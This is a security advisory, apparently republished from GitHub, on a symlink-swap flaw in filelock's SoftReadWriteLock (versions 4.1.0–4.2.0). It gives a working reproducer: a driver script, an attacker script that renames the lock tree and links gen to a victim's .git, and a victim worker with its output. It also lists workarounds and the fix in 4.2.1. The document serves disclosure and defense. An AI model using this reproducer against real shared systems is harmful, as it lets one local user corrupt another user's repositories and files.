- Trust boundary: the other party is a different local account with write access to the lock's parent directory. Without the sticky bit (a 0777 scratch or spool directory, or a group-writable project or cache directory shared with that account's group) write access alone is enough. The other user renames the lock user's own 0700 <path>.rw aside and puts its tree in place. In a sticky parent such as /tmp the extra precondition is that it created <path>.rw (with real gen and holders directories, mode 0777) before the lock user's first acquire. prepare() accepts an existing tree whoever owns it, and the other user later replaces its own gen with a symbolic link. fs.protectedsymlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not intervene, because the link sits inside the other user's own non-sticky <path>.rw, not in the sticky parent (the scanner ran with that setting). - Lock user: any process that keeps one SoftReadWriteLock or AsyncSoftReadWriteLock object (a singleton per path by default) and acquires it more than once, or is waiting for it when the swap happens. A fresh process that meets the planted tree gets RuntimeError. Between two acquisitions there is no timing to win. - Targets: any directory the lock user can write, on any filesystem. The other user needs only to know its path (/home/victim/project/.git in the reproducer, under a 0700 home directory the other user cannot open). - Platform: observed on Linux. The code path is the same on every POSIX platform and on Windows, where a junction (a Windows directory that points at another directory) at a directory component plays the symbolic link's part. The scanner ran Linux only. - Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496b0273, OsFiles.prepare checks the three directories with lstat and caches prepared. lstat reports what a name is without following a symbolic link. Every later operation takes a full path string, for example create (ONOFOLLOW on the last component only), replace (Path(source).replace(target)), unlink and listdir. The callers that write through the swapped tree are Participant.publish / createholder, GenerationLog.incarnation (creates epoch), commit (links a generation record and renames over HEAD), keepclaimfresh, sweep and list (unlink). There is one OsFiles per lock object (sync.py line 204), handed to every Participant at line 501.

Introduced

The once-per-object shortcut (prepared) came with 367b111 ("fix(soft-rw): publish the head through gen/HEAD (#799)", 2026-10-08), first released in 4.1.0 (verified with git tag --contains 367b111, which answers 4.1.0). That commit opens the route between two acquisitions with no timing to win. The check-then-use gap itself is older. At its parent 61582c5 (also first in 4.1.0) a contender already waiting during the swap still creates epoch in the target before the lock refuses it, while 4.0.0 leaves the target untouched in the same test. The group advisory carried >= 4.0.0 as the union with a sibling finding; for this finding alone the range is >= 4.1.0, <= 4.2.0.

Mechanism

prepare() runs mkdir(mode=0o700) and then lstat() on each of <path>.rw, gen and holders. It raises RuntimeError("... exists but is not a directory or is a symlink; refusing to use it") for a symbolic link or non-directory. It does this by name, once per OsFiles (if self.prepared and not force: return), and only a FileNotFoundError while creating the holder record (the file that says this process holds or wants the lock) leads to prepare(force=True). All other OsFiles methods (read, create, link, replace, overwrite, unlink, listdir) take a full path string such as /srv/shared/app.lock.rw/gen/HEAD. ONOFOLLOW applies to HEAD, and the kernel follows app.lock.rw and gen to whatever they name at that moment. The gap between the check and a use is therefore as long as the process keeps the lock object.

The scanner observed this at the scanned commit on Linux 6.1, CPython 3.14.8, overlayfs, with a default-options SoftReadWriteLock, as two accounts in /srv/shared (root-owned, mode 0777, no sticky bit):

1. victim runs a worker that builds SoftReadWriteLock("/srv/shared/app.lock") once and takes writelock() for each job. After the first job, app.lock.rw exists, owned by victim, mode 0700. 2. attacker renames app.lock.rw to app.lock.rw.aside, creates a new app.lock.rw with a world-writable holders/ in it, and makes app.lock.rw/gen a symbolic link to /home/victim/project/.git. /home/victim/project is mode 0700; the attacker account cannot open anything below it. 3. The worker takes the lock for its second job. writelock() returns without error. /home/victim/project/.git now holds new files epoch, 00000000000000000001 and 00000000000000000002, and <epoch>\nfilelock-rw/1\ngeneration=2\n has replaced the content of .git/HEAD. git status there answers fatal: not a git repository.

The second acquisition, step by step: Participant.publish() calls prepare(), which returns at once, then creates holders/<token>. The planted tree has a writable holders, so this succeeds. advance() calls GenerationLog.latest() (the generation log is the lock's ordered record of write generations under gen/). incarnation() reads gen/epoch, finds none behind the link, and creates .git/epoch. The epoch differs from the remembered one, so the code drops the remembered log. git's HEAD does not start with the new epoch, so headrecord() ignores it and the log reads as empty. commit() creates .git/.commit-<token>, hard-links it (a hard link is a second name for the same file) to .git/00000000000000000001, removes the temporary name, and publishes HEAD through OsFiles.replace, which is rename(".git/.commit-<token>", ".git/HEAD"). The release commits generation 2 the same way and renames over HEAD again.

Other ways into the same gap exist. The scanner ran each at this commit with a directory only the lock user can access as the link target. A contender already waiting when the swap happens recreates its missing holder record in the planted holders/ on its next poll (keepclaimfresh()), and the commit that follows replaces HEAD in the target. A process that only holds and releases, with the tree swapped during the hold, creates epoch in the target on release. With holders as the link, Participant.sweep() (run on acquire polls and from a holder's heartbeat()) unlinks files in the target whose names are 32 lowercase hex digits once the lock object has seen them unchanged for stalethreshold (observed with stalethreshold=2; the default is 90 s). With gen as the link, GenerationLog.list() unlinks every 20-digit name except the 64 highest: of 70 such files, it removes the 6 lowest before the acquire fails with SoftFileLockProtocolError.

Reproduction

The scanner's reproducer for finding ANT-2026-WXXRI4M4, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

python #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path

SHARED = "/srv/shared" LOCKTREE = f"{SHARED}/app.lock.rw" PROJECT = "/home/victim/project" HEAD = Path(PROJECT, ".git", "HEAD") ASVICTIM = ["runuser", "-u", "victim", "--"] ASATTACKER = ["runuser", "-u", "attacker", "--"] VICTIMWORKER = [ASVICTIM, sys.executable, "/tmp/repro.d/victimworker.py"] ATTACKERSWAPTREE = [ASATTACKER, sys.executable, "/tmp/repro.d/attackerswaptree.py"]

set up: a lock directory anyone may write (0777, no sticky bit), and a git repository only the victim can enter shutil.rmtree(SHARED, ignoreerrors=True) shutil.rmtree(PROJECT, ignoreerrors=True) os.mkdir(SHARED) os.chmod(SHARED, 0o777) subprocess.run([ASVICTIM, "git", "init", "--quiet", PROJECT], check=True) os.chmod(PROJECT, 0o700) headbefore = HEAD.readtext() print("SETUP HEAD:", repr(headbefore))

attackeropenshead = subprocess.run( [ASATTACKER, sys.executable, "-c", f"open({str(HEAD)!r}, 'w')"], captureoutput=True, text=True ) if attackeropenshead.returncode == 0: sys.exit("setup: the attacker can write HEAD directly") print("CONTROL attacker opens HEAD for writing:", attackeropenshead.stderr.strip().splitlines()[-1])

the victim's long-lived worker does job 1; its lock object creates and checks app.lock.rw worker = subprocess.Popen(VICTIMWORKER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True) worker.stdin.write("job 1\n") worker.stdin.flush() print("VICTIM ", worker.stdout.readline().strip()) tree = os.stat(LOCKTREE) print("VICTIM app.lock.rw owner uid", tree.stuid, "mode", oct(tree.stmode & 0o777))

attack: between two jobs, swap in a tree whose gen/ is a symlink to the victim's .git subprocess.run(ATTACKERSWAPTREE, check=True) print("ATTACK app.lock.rw/gen ->", os.readlink(f"{LOCKTREE}/gen"))

control: a new lock object, in a new victim process, checks the planted tree and refuses it freshworker = subprocess.run(VICTIMWORKER, input="job 1\n", captureoutput=True, text=True) print("CONTROL new worker:", (freshworker.stdout + freshworker.stderr).strip().splitlines()[-1]) print("CONTROL HEAD after the new worker:", repr(HEAD.readtext()))

the same worker does job 2 with the lock object that passed the check at job 1 worker.stdin.write("job 2\n") worker.stdin.close() print("VICTIM ", worker.stdout.read().strip()) worker.wait()

check: HEAD of the victim's private repository must still be git's own headafter = HEAD.readtext() print("OBSERVED HEAD:", repr(headafter)) print("OBSERVED .git:", sorted(os.listdir(HEAD.parent))) gitstatus = subprocess.run([ASVICTIM, "git", "-C", PROJECT, "status"], captureoutput=True, text=True) print("OBSERVED git status:", (gitstatus.stdout + gitstatus.stderr).strip().splitlines()[0]) print("BUG" if headafter != headbefore and "filelock-rw/1" in headafter else "OK")

repro.d/attackerswaptree.py

python import os

LOCKTREE = "/srv/shared/app.lock.rw" TARGET = "/home/victim/project/.git" # below a 0700 directory: this user can neither list nor write it

the victim's tree is 0700, but its name lives in /srv/shared, which this user may write (no sticky bit) os.rename(LOCKTREE, f"{LOCKTREE}.aside")

os.umask(0) os.mkdir(LOCKTREE, 0o755) os.mkdir(f"{LOCKTREE}/holders", 0o777) # writable, so the victim's holder record lands and nothing re-runs prepare() os.symlink(TARGET, f"{LOCKTREE}/gen")

repro.d/victimworker.py

python import sys

from filelock import SoftReadWriteLock

lock = SoftReadWriteLock("/srv/shared/app.lock") for job in sys.stdin: with lock.writelock(timeout=30): ... # the job's work on the shared resource print("victim: finished", job.strip(), "and released the lock", flush=True)

Attack sequence

mermaid sequenceDiagram participant A as other local user participant W as worker of the lock user (one lock object) participant F as /srv/shared (0777, no sticky bit) participant T as /home/victim/project/.git (0700) rect rgb(255, 214, 214) Note over A,T: filelock 4.1.0 to 4.2.0 W->>F: job 1, writelock() creates app.lock.rw (0700) with gen and holders, prepare() checks them once, prepared = True W->>F: release, lock object kept A->>F: rename(app.lock.rw, app.lock.rw.aside) A->>F: mkdir app.lock.rw with a world-writable holders, symlink app.lock.rw/gen pointing at /home/victim/project/.git W->>F: job 2, prepare() returns at once, create(holders/token) succeeds in the planted holders W->>T: incarnation() reads gen/epoch through the symlink, finds none, creates .git/epoch W->>T: commit() creates .git/.commit-token, links it to .git/00000000000000000001 W->>T: replace() renames .git/.commit-token over .git/HEAD W->>T: release commits generation 2 and renames over HEAD again Note over W,T: writelock() returned without error, HEAD is now a filelock-rw/1 record, git status says not a git repository end

Evidence

The scanner's reproducer runs as root, drops to victim and attacker through runuser, needs git, changes no sysctl, and takes about half a second. It creates /srv/shared (root-owned, 0777, no sticky bit), has victim run git init /home/victim/project and makes that directory 0700. It then drives two programs. victimworker.py holds one SoftReadWriteLock("/srv/shared/app.lock") with default options; for each line on stdin it takes writelock(timeout=30), releases it and prints finished <job> and released the lock. attackerswaptree.py renames the lock user's app.lock.rw aside, creates a new one with a world-writable holders/, and makes app.lock.rw/gen a symbolic link to /home/victim/project/.git, using only write access to /srv/shared. On the scanned commit it prints:

CONTROL attacker opens HEAD for writing: PermissionError: [Errno 13] Permission denied: '/home/victim/project/.git/HEAD' VICTIM victim: finished job 1 and released the lock VICTIM app.lock.rw owner uid 1000 mode 0o700 ATTACK app.lock.rw/gen -> /home/victim/project/.git CONTROL new worker: RuntimeError: /srv/shared/app.lock.rw/gen exists but is not a directory or is a symlink; refusing to use it CONTROL HEAD after the new worker: 'ref: refs/heads/master\n' VICTIM victim: finished job 2 and released the lock OBSERVED HEAD: '<epoch>\nfilelock-rw/1\ngeneration=2\n' OBSERVED .git: [..., 'epoch', '00000000000000000001', '00000000000000000002', ...] OBSERVED git status: fatal: not a git repository BUG

The CONTROL lines show that the other account cannot reach the repository itself and that a fresh lock object refuses the planted tree. The existing check works; the code does not repeat it for a live instance. The sticky-directory variant ends the same way, with fs.protectedsymlinks=1. There the other account creates app.lock.rw, gen and holders with mode 0777 in a 1777 parent before the lock user's first acquire, then renames its own gen aside and links it to the lock user's .git.

Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #842 stack head: OK, HEAD stays ref: refs/heads/master, .git keeps its original listing and git status answers On branch master. The result is the same with the stack's owner check disabled, so it does not depend on who owns the tree.

Impact

With the lock user's privileges, in any directory the lock user can write, the other user gets a file named HEAD replaced, new files epoch, HEAD and 20-digit generation names created (mode 0600), and files deleted whose names match the protocol's patterns (32 hex digits, 20 digits, .commit-). The bytes written are filelock's own records, not chosen by the other user. Replacing HEAD makes a git repository unusable when the other user knows its path. Renaming <path>.rw away is something this other user may do anyway, and docs/how-to.rst documents the result (a new log starts). What this finding adds is that the lock user's file operations leave the lock's directory.

This is adjacent to GHSA-j8f7-rjxc-mr56 (ReadWriteLock following a symbolic link at its database path, fixed in 4.0.9) and the earlier symbolic link fixes (PR 461 for lock file creation, PR 465 for SoftFileLock, PR 565 for refreshing soft read/write lock markers). Each guards the final path component. Here the link sits at a directory component, which ONOFOLLOW does not cover.

Workarounds

- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a SoftReadWriteLock between accounts through a 0777 or group-writable directory. - In a sticky directory such as /tmp, make sure the locking account creates <path>.rw before anyone else can (for example at install time with mode 0700), and do not use a lock path whose <path>.rw belongs to another account. - Prefer a fresh lock object per unit of work over a long-lived singleton when other accounts can write the lock directory. A fresh object re-runs the directory check and refuses a planted tree.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/842

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 00:46 UTC: draft advisory created - 2026-10-16 01:39 UTC: fix PR #842 opened

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203